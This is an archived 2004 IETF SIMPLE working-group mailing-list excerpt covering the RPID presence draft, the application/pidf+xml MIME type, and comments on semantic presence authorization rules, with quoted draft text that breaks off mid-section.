To: simple@ietf.org
Subject: Re: [Simple] I-D ACTION:draft-ietf-simple-rpid-03.txt
References: <200403222044.PAA19735@ietf.org>
In-Reply-To: <200403222044.PAA19735@ietf.org>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 22 Mar 2004 18:23:12 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

I believe that this draft incorporates all comments received so far and 
is ready for WGLC.

Internet-Drafts@ietf.org wrote:

> A New Internet-Draft is available from the on-line Internet-Drafts directories.
> This draft is a work item of the SIP for Instant Messaging and Presence Leveraging Extensions Working Group of the IETF.
> 
> 	Title		: RPID: Rich Presence: Extensions to the Presence Information Data Format (PIDF)
> 	Author(s)	: H. Schulzrinne, V. Gurbani, P. Kyzivat, J. Rosenberg
> 	Filename	: draft-ietf-simple-rpid-03.txt
> 	Pages		: 19
> 	Date		: 2004-3-22
> 	
> The Rich Presence Information Data Format (RPID) adds elements to the
>    Presence Information Data Format (PIDF) that provide additional
>    information about the presentity and its contacts.  The information
>    is designed so that much of it can be derived automatically, e.g.,
>    from calendar files or user activity.
> 
>    This extension includes information about what the presentity is
>    doing (the activity element), a grouping identifier for a tuple (the
>    class element), the type of tuple (the contact-type element), whether
>    a contact is idle (the idle element), the typle of place a presentity
>    is in (the placetype element), whether the presentity is in a public
>    or private space (the privacy element), the relationship of a tuple
>    to another presentity (the relationship element), and the overall
>    role of the presentity (the sphere element).
> 
> A URL for this Internet-Draft is:
> http://www.ietf.org/internet-drafts/draft-ietf-simple-rpid-03.txt


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Mon Mar 22 18:29:22 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA03631
	for <simple-archive@odin.ietf.org>; Mon, 22 Mar 2004 18:29:22 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5Yqm-0003vt-8A
	for simple-archive@odin.ietf.org; Mon, 22 Mar 2004 18:28:56 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2MNSulP015111
	for simple-archive@odin.ietf.org; Mon, 22 Mar 2004 18:28:56 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5Yqm-0003vc-45
	for simple-web-archive@optimus.ietf.org; Mon, 22 Mar 2004 18:28:56 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA03620
	for <simple-web-archive@ietf.org>; Mon, 22 Mar 2004 18:28:51 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5Yqj-0007MW-00
	for simple-web-archive@ietf.org; Mon, 22 Mar 2004 18:28:53 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5Ypq-0007Ge-00
	for simple-web-archive@ietf.org; Mon, 22 Mar 2004 18:27:58 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5Yp6-00079t-00; Mon, 22 Mar 2004 18:27:12 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5Yoz-0003iO-KH; Mon, 22 Mar 2004 18:27:05 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5Yok-0003hM-Ap
	for simple@optimus.ietf.org; Mon, 22 Mar 2004 18:26:50 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA03449
	for <simple@ietf.org>; Mon, 22 Mar 2004 18:26:46 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5Yoh-00078Y-00
	for simple@ietf.org; Mon, 22 Mar 2004 18:26:47 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5Ynt-00072u-00
	for simple@ietf.org; Mon, 22 Mar 2004 18:25:57 -0500
Received: from cs.columbia.edu ([128.59.16.20])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5YnE-0006wQ-00
	for simple@ietf.org; Mon, 22 Mar 2004 18:25:16 -0500
Received: from magnum.cs.columbia.edu (IDENT:root@magnum.cs.columbia.edu [128.59.16.117])
	by cs.columbia.edu (8.12.10/8.12.10) with ESMTP id i2MNOsRH002745
	for <simple@ietf.org>; Mon, 22 Mar 2004 18:24:54 -0500 (EST)
Received: from cs.columbia.edu (chairpc.cs.columbia.edu [128.59.16.206])
	by magnum.cs.columbia.edu (8.11.6/8.9.3) with ESMTP id i2MNNCC23097
	for <simple@ietf.org>; Mon, 22 Mar 2004 18:23:12 -0500
Message-ID: <405F7560.50601@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7a) Gecko/20040219
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: simple@ietf.org
Subject: Re: [Simple] I-D ACTION:draft-ietf-simple-rpid-03.txt
References: <200403222044.PAA19735@ietf.org>
In-Reply-To: <200403222044.PAA19735@ietf.org>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 22 Mar 2004 18:23:12 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

I believe that this draft incorporates all comments received so far and 
is ready for WGLC.

Internet-Drafts@ietf.org wrote:

> A New Internet-Draft is available from the on-line Internet-Drafts directories.
> This draft is a work item of the SIP for Instant Messaging and Presence Leveraging Extensions Working Group of the IETF.
> 
> 	Title		: RPID: Rich Presence: Extensions to the Presence Information Data Format (PIDF)
> 	Author(s)	: H. Schulzrinne, V. Gurbani, P. Kyzivat, J. Rosenberg
> 	Filename	: draft-ietf-simple-rpid-03.txt
> 	Pages		: 19
> 	Date		: 2004-3-22
> 	
> The Rich Presence Information Data Format (RPID) adds elements to the
>    Presence Information Data Format (PIDF) that provide additional
>    information about the presentity and its contacts.  The information
>    is designed so that much of it can be derived automatically, e.g.,
>    from calendar files or user activity.
> 
>    This extension includes information about what the presentity is
>    doing (the activity element), a grouping identifier for a tuple (the
>    class element), the type of tuple (the contact-type element), whether
>    a contact is idle (the idle element), the typle of place a presentity
>    is in (the placetype element), whether the presentity is in a public
>    or private space (the privacy element), the relationship of a tuple
>    to another presentity (the relationship element), and the overall
>    role of the presentity (the sphere element).
> 
> A URL for this Internet-Draft is:
> http://www.ietf.org/internet-drafts/draft-ietf-simple-rpid-03.txt


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Mon Mar 22 23:57:57 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA19273
	for <simple-archive@ietf.org>; Mon, 22 Mar 2004 23:57:57 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5dzC-0001Ek-00
	for simple-archive@ietf.org; Mon, 22 Mar 2004 23:57:58 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5dyP-00017b-00
	for simple-archive@ietf.org; Mon, 22 Mar 2004 23:57:10 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5dxT-00010P-00; Mon, 22 Mar 2004 23:56:11 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5dxK-0001UT-FX; Mon, 22 Mar 2004 23:56:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5dwb-0001Te-Pk
	for simple@optimus.ietf.org; Mon, 22 Mar 2004 23:55:17 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA19091
	for <simple@ietf.org>; Mon, 22 Mar 2004 23:55:14 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5dwZ-0000s6-00
	for simple@ietf.org; Mon, 22 Mar 2004 23:55:15 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5dvU-0000jf-00
	for simple@ietf.org; Mon, 22 Mar 2004 23:54:09 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5due-0000Uy-00
	for simple@ietf.org; Mon, 22 Mar 2004 23:53:16 -0500
Received: from dynamicsoft.com ([63.113.46.54])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i2N4qqNr022524;
	Mon, 22 Mar 2004 23:52:53 -0500 (EST)
Message-ID: <405FC295.50407@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Emil Ivov <emil_ivov@yahoo.com>
CC: simple@ietf.org, mandre@startx.u-strasbg.fr
Subject: Re: [Simple] cpim-pidf+xml or pidf+xml
References: <4059A9AC.1080201@yahoo.com>
In-Reply-To: <4059A9AC.1080201@yahoo.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 22 Mar 2004 23:52:37 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

This has caused a lot of confusion. Its an unfortunate consequence of 
changes made to the PIDF spec after SIMPLE was completed.

The correct MIME type is application/pidf+xml.

-Jonathan R.

Emil Ivov wrote:

> Hello,
> 
> draft-ietf-simple-presence-10.txt says:
> All subscribers and notifiers MUST support the 
> "application/cpim-pidf+xml" presence data format described in [6].
> 
> It seems, however, that [6] expired a while ago and what replaced it on 
> the IMPP WG page is apparently: draft-ietf-impp-cpim-pidf-08.txt
> 
> Yet it doesn't say anything about application/cpim-pidf+xml and 
> describes application/pidf+xml instead.
> 
> Does that mean that  application/pidf+xml is the must-be-supported data 
> format and not application/cpim-pidf+xml?
> 
> Thanx
> Emil
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
> 

-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From simple-admin@ietf.org  Tue Mar 23 00:06:54 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA19547
	for <simple-archive@ietf.org>; Tue, 23 Mar 2004 00:06:53 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5e7q-0002CR-00
	for simple-archive@ietf.org; Tue, 23 Mar 2004 00:06:54 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5e6v-00024y-00
	for simple-archive@ietf.org; Tue, 23 Mar 2004 00:06:00 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5e65-0001ye-00; Tue, 23 Mar 2004 00:05:05 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5e63-0001z6-5X; Tue, 23 Mar 2004 00:05:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5e5u-0001yX-Tx
	for simple@optimus.ietf.org; Tue, 23 Mar 2004 00:04:54 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA19464
	for <simple@ietf.org>; Tue, 23 Mar 2004 00:04:51 -0500 (EST)
From: Markus.Isomaki@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5e5s-0001xd-00
	for simple@ietf.org; Tue, 23 Mar 2004 00:04:52 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5e4u-0001re-00
	for simple@ietf.org; Tue, 23 Mar 2004 00:03:54 -0500
Received: from mgw-x4.nokia.com ([131.228.20.27])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5e3y-0001lq-00
	for simple@ietf.org; Tue, 23 Mar 2004 00:02:54 -0500
Received: from esdks001.ntc.nokia.com (esdks001.ntc.nokia.com [172.21.138.120])
	by mgw-x4.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2N52o409469;
	Tue, 23 Mar 2004 07:02:50 +0200 (EET)
X-Scanned: Tue, 23 Mar 2004 07:03:21 +0200 Nokia Message Protector V1.3.21 2004031416 - RELEASE
Received: (from root@localhost)
	by esdks001.ntc.nokia.com (8.12.9/8.12.9) id i2N53L9O004697;
	Tue, 23 Mar 2004 07:03:21 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks001.ntc.nokia.com 00YFFMvo; Tue, 23 Mar 2004 06:51:59 EET
Received: from esebh004.NOE.Nokia.com (esebh004.ntc.nokia.com [172.21.138.84])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2MN4ws24830;
	Tue, 23 Mar 2004 01:04:59 +0200 (EET)
Received: from esebe018.NOE.Nokia.com ([172.21.138.57]) by esebh004.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Tue, 23 Mar 2004 01:04:30 +0200
x-mimeole: Produced By Microsoft Exchange V6.0.6487.1
Content-Class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: [Simple] Comments on: First draft of text on semantic-based authorization policies
Message-ID: <E392EEA75EC5F54AB75229B693B1B6A707E7A3AC@esebe018.ntc.nokia.com>
Thread-Topic: [Simple] First draft of text on semantic-based authorization policies
Thread-Index: AcQFuRWC736YvYhSRzyiHqDeaRp26wKkpjRw
To: <jdrosen@dynamicsoft.com>, <simple@ietf.org>
X-OriginalArrivalTime: 22 Mar 2004 23:04:30.0325 (UTC) FILETIME=[082D6A50:01C41062]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 23 Mar 2004 01:04:29 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.4 required=5.0 tests=AWL,EXCUSE_3,NO_REAL_NAME 
	autolearn=no version=2.60
Content-Transfer-Encoding: quoted-printable

Hi Jonathan,

Here are some comments to both the semantic approach and the SIMPLE =
presence authorization work in general.

General comments:
----------------
I'm currently quite concerned with how the authorization looks like. =
There are some very nice properties and much thought has been put into =
it, but I fear that in practice it will fall short. Here are my main =
issues:

* Exceptions:=20
Currently they are allowed only within domains. This was done on purpose =
for reasons that I don't really believe in. The end result is that it is =
impossible to do proper block-listing. It was claimed that block-listing =
is a bad concept anyway, as identities can be created easily to by-pass =
such lists. While in general this is the case, I don't think it should =
limit _all_ systems, some of which can deal with identities better than =
the Internet at large. Below is an example, beyond block-listing, how =
leaving out exceptions makes things difficult
	[Presentity wants to give group "friends" a privileged access to his =
presence information. By default he gives out some information, but =
"friends" should receive a different view of the _same_ information. =
(Note that this is not additive, but we talk about different views, for =
instance showing a _different_ "note".) If exceptions are not allowed, =
"friends" will get the common information in addition to what should be =
given to them, making things confusing at the watcher side. (For =
instance a watcher get 2 tuples with the same Contact, having different =
notes.)]
So I believe the main problem is that presence information is not always =
additive, but it can also be contradictive! Another huge problem is that =
there already exists many presence systems which have block-lists, and =
in some cases we would like to preserve the UI semantics even when the =
protocol stack is changed to SIP. Now it seems impossible.=20
-> Proposal: Allow exceptions in SIMPLE, even though they are not there =
in the common policies.

* External lists:
Again, external list references were dropped due to GEOPRIV =
harmonization. I don't understand why they need to be disallowed in all =
environments. If the service provider has a centralized XCAP server for =
resource lists, those should be usable by reference in presence auth. =
rules. (FYI, OMA is working on common "group management" for different =
applications, and for this external references are also clearly needed.)
-> Proposal: Add external lists, include considerations on where they =
are usable.

I believe these two modifications would make SIMPLE presence rules much =
better deployable in practice, and more easily endorsed directly by e.g. =
3GPP and OMA.

Comments on semantic rules
--------------------------
In general I think it's good to have some semantics involved in =
decision-making, and I understand the benefits over pure syntactic =
model. Here are issues, though:

* view-transformation
This goes clearly in the territory of "what is a tuple" and "compositor =
policy". I strongly support of trying to deal with the latter at least =
in some level here. However, I don't fully support the different "views" =
expressed here. I'm supporter of the service-view - but, _in addition_ =
to tuples describing service/communication-specific attributes, there =
can be a presentity tuple describing common things about the presentity. =
This kind of model should not be excluded here.
-> Proposal: Would it make sense to have the "views" (at least =
presentity and service) combined using union rather than being mutually =
exclusive, so that if both presentity and service view are given, the =
model described above would be taken. Another way would be to describe =
that service-view could still contain presentity-tuple(s). This probably =
needs more thinking.

* Extensibility vs. attribute-based semantics
It seems that most attributes won't have semantics beyond a binary =
show/no-show decision. In this case I see no need for the server to know =
in _advance_ anything of such attributes. In practice the show vs. =
no-show could be a general rule applicaple to any attribute through a =
syntactic match of the attribute name. This would allow handling also =
unknown or proprietary attributes on a rudimentary level without having =
to update the presence server/agent. In case that the attribute has some =
further internal structure, allowing for more complex decisions, such as =
with "idle" in RPID, it could be defined in an extension spec =
accompanying the definition of the attribute itself.
-> Proposal: extend the handling specified for e.g. "placetype" or =
"privacy" to any attributes through syntactic matching on the attribute =
name.

* Abbreviated expressions
It would be good to have abbreviated ways of saying:
- All tuples
- All tuples having a class attribute
- All tuples not having a class attribute
without needing to list all the classes explicitely.
Also there is a problem that all attribute-names need to be listed, if =
they are given, as the defaults are "false". This is only an efficiency =
issue, but maybe some abbreviated form of saying:=20
- all attributes in RPID (or CIPID or Prescaps)
  <except>placetype</except>

* Overlapping actions
It should be described what happens if multiple actions are provided. =
This was discussed in a separate thread.

Regards,
	Markus=20

> -----Original Message-----
> From: simple-admin@ietf.org [mailto:simple-admin@ietf.org]On Behalf Of
> ext Jonathan Rosenberg
> Sent: 09 March, 2004 11:25
> To: Simple WG
> Subject: [Simple] First draft of text on semantic-based authorization
> policies
>=20
>=20
> Folks,
>=20
> During the SIMPLE meeting at IETF, we had a discussion about=20
> whether to=20
> move from the current syntactic based permissions (show-namespace,=20
> show-tuple, show-element) to semantic-based ones. I took an=20
> action item=20
> to write up proposed text within one week on how the semantic-based=20
> approach might look. Below is a first cut (in xml2rfc) at what such=20
> permissions might look like.
>=20
> One thing that became clear to me in doing this is that certain=20
> transformations are easily expressed semantically, but nearly=20
> impossible=20
> syntactically. The "view" permission was one example. There=20
> are a bunch=20
> of open issues; mostly minor, all noted in the text. Comments=20
> on any and=20
> all of it are welcome. I'd like to get buy in (or lack=20
> thereof) of this=20
> general direction within the next week or two so I can integrate the=20
> text and submit a revision.
>=20
> Thanks,
> Jonathan R.
>=20
>=20
> ---
> <section title=3D"Transformations">
>=20
> <t>
> Each of the sections below defines a particular transformation that is
> applied to the presence document before distribution.
> </t>
>=20
> <section titie=3D"View">
>=20
> <t>
> The view transformation indicates the way in which the published
> presence data is aggregated before being presented to the watcher. The
> value of this element is an enumerated token with the following
> values:
> </t>
>=20
> <list style=3D"hanging">
>=20
> <t hangText=3D"presentity:">This token has a value of zero. It =
indicates
> that the presence agent should aggregate the presence information for
> the presentity into a single tuple. This tuple will contain a single
> contact value that reaches the presentity. Because this causes
> aggregation of data into a single tuple, it reveals the least amount
> of information about a presentity, and thus has the value of zero.
> </t>
>=20
> <t hangText=3D"service:">This token has a value of one. It indicates
> that the presence agent should model the presentity as a sequence of
> tuples, each representing a "service" by which the presentity can be
> reached. Examples of services and how they are represented is
> described in <xref target=3D"I-D.roach-simple-service-features"/>.</t>
>=20
> <t hangText=3D"device:">This token has a value of two. It indicates =
that
> the presence agent should model the presentity as a sequence of
> tuples, each representing a "device" that can be used to contact the
> user. Examples of devices are wireless phones, PC-based IM=20
> applications,=20
> PDAs
> and standalone hard phones.</t>
>=20
> </list>
>=20
> <t>The values of the tokens have been chosen such that "presentity"
> represents the greatest level of privacy, followed by "service", and
> "device" represents the least. [[OPEN ISSUE: Should we space out the
> values to allow for other types to be defined down the road?]]. [[OPEN
> ISSUE: This permission will require roach-simple-service-features, or
> the text present in it, to proceed. What are the plans for that?]].
> </t>
>=20
> <t>The default value of this permission is "presentity" or zero.</t>
>=20
> </section>
>=20
> <section title=3D"Contact URI">
>=20
> <t>
> The "contact-uri" permission indicates whether or not the Contact URI
> for tuples is presented to the watcher or not. This element has an
> optional "class" attribute, which indicates the class of tuples for
> which the permission applies. Absence of this attribute indicates that
> the permission applies to all tuples. There can be multiple
> "contact-uri" elements, but each of them MUST differ in the presence
> and/or value of the "class" attribute.
> </t>
>=20
> <t>The "contact-uri" permission is of boolean type. A value of false
> means that the Contact URI for the associated tuples is not to be
> distributed to watchers. A value of true means that it is. By default,
> the Contact URI for all tuples is distributed to watchers.
> </t>
>=20
> <t>
> For the purposes of combining permissions, the contact-uri for each
> class is treated as an independent variable. If there is a contact-uri
> without a class attribute, this is modeled as N separate contact-uri
> elements, one for each of the N tuple classes in the presence
> document. Tuples that are not explicitly labeled with a class are
> considered to belong to the same class, which we call the implicit
> class.
> </t>
>=20
> <t>
> For example, consider a presence document with three tuples. The first
> one is labeled with a class of "friend", the second one is labeled
> with a class of "work", and the third has no label. This document has
> tuples in three classes - work, friend and implicit. When a watcher
> subsribes to the presence of this presentity, two rules match:
> </t>
>=20
> <figure><artwork>
> <![CDATA[
> RULE 1
>    <contact-uri class=3D"friend">true</contact-uri>
>    <contact-uri>false<contact-uri>
>=20
> RULE 2
>    <contact-uri class=3D"work">true</contact-uri>
>=20
> ]]></artwork></figure></t>
>=20
> <t>
> To combine these permissions, the contact-uri in the first rule
> without a class attribute is modeled as if it were three
> contact-uris:</t>
>=20
> <figure><artwork>
> <![CDATA[
>    <contact-uri class=3D"friend">false</contact-uri>
>    <contact-uri class=3D"work">false<contact-uri>
>    <contact-uri class=3D"implict">false<contact-uri>
> ]]></artwork></figure></t>
>=20
> <t>The contact-uri for each class is then treated as an independent
> variable, and the standard combining rules are applied. There are two
> instances of the contact-uri element for friends - one with a value of
> true (from rule 1), and one with a value of false (from the expanded
> classless contact-uri). These are combined to yield a value of
> true. As a result, the contact in the tuple with class "friend" will
> be shown to the watcher. There are two instances of the contact-uri
> element for work - one with a value of true (from rule 2), and one
> with a value of false (from the expanded classless contact-uri). These
> are combined to yield a value of true. As a result, the contact in the
> tuple with class "work" will be shown to the watcher. There is a
> single instance of the contact-uri element for "implicit", with a
> value of false (from the expanded classless contact-uri). As a result,
> the contact in the tuple without a class label will not be shown to
> the watcher.
> </t>
>=20
> <list style=3D"indent"><t>
> OPEN ISSUE: There is no way to define that a contact-uri applies to
> all tuples without a class label. We could introduce that by defining
> a special value of the class attribute, say "implicit". This would
> cause problems if a presence document ever had a class label with the
> actual value of "implicit". Another choice is to define another
> attribute to the contact-uri element, say "implicit", which indicates
> that it applies to implicit classes or not.
> </t></list>
>=20
> </section>
>=20
> <section title=3D"Activity">
>=20
> <t>This permission controls access to the "activity" element defined
> in <xref target=3D"I-D.ietf-simple-rpid"/>. The name of the element is
> "activity", and it is a boolean type. When true, it means that the
> RPID activity is to be distributed to watchers, and when false, means
> that it is to be withheld.
> </t>
>=20
> <t>
> Like the "contact-uri" element, the "activity" element can have an
> optional "class" attribute that defines which tuples the permission
> applies to. Rules for composition are identical to those for
> "contact-uri".
> </t>
>=20
> <t>
> The default value for this permission is false.
> </t>
>=20
> </section>
>=20
> <section title=3D"Tuples by Class">
>=20
> <t>
> This permission controls access to tuples. It indicates which tuples
> published into the presence agent will be used as an input to the
> composition process. Tuples are selected by the value of their
> "class" element. The "tuples-by-class" element has, as its content,
> the name of a specific class which is to be used as input in the
> composition process. There can be multiple instances of the
> "tuples-by-class" element, each one indicating a different
> class. [[OPEN ISSUE: Same issue as above on how to indicate tuples
> that have no explicit class.]]. The result is that the
> "tuples-by-class" element is a "set" data type.
> </t>
>=20
> <t>
> The default value of this permission is "implicit", meaning that in
> absence of specific instructions otherwise, only tuples without the
> class label will be distributed to watchers.
> </t>
>=20
> <list style=3D"indent"><t>
> OPEN ISSUE: There are other reasonable chocies for this
> default. Another choice is that all tuples, regardless of class, are
> distributed.
> </t></list>
>=20
> </section>
>=20
> <section title=3D"Class">
>=20
> <t>
> This permission controls access to the "class" element within the PIDF
> document. This is in contrast to the "tuples-by-class", which=20
> indicates
> which tuples are passed to the watcher. This permission indicates
> whether the RPID "class" element is passed to the watcher.
> </t>
>=20
> <t>
> This permission is a boolean type. Its default is false, meaning that
> the class element will normally be stripped from PIDF documents unless
> the presentity instructs otherwise. The element can contain a "class"
> attribute which indicates for which classes this permission
> applies. The aggregation rules for this permission are identical to
> those for "contact-uri".
> </t>
>=20
> </section>
>=20
> <section title=3D"Contact Type">
>=20
> <t>
> This permission, "contact-type" controls access to the "contact-type"
> element within
> the PIDF document. It is of boolean type. When true, the
> "contact-type" element is passed to watchers. When false, it is
> removed from the document. The default value is false.
> </t>
>=20
> <t>
> The element can contain a "class"
> attribute which indicates for which tuples, based on their class, this
> permission applies. The aggregation rules for this permission are
> identical to those for "contact-uri".
> </t>
>=20
> </section>
>=20
> <section title=3D"Idle">
>=20
> <t>
> This permission, "idle" controls access to the "idle"
> element within
> the PIDF document. It is an enumerated integer type. Its values are
> "hide", with a value of zero, that indicates that the "idle" element
> is to be removed from the presence document, "no-time", with a value
> of one, that indicates that the "idle" element is to be passed on to
> watchers, but without the specific duration for which the user has
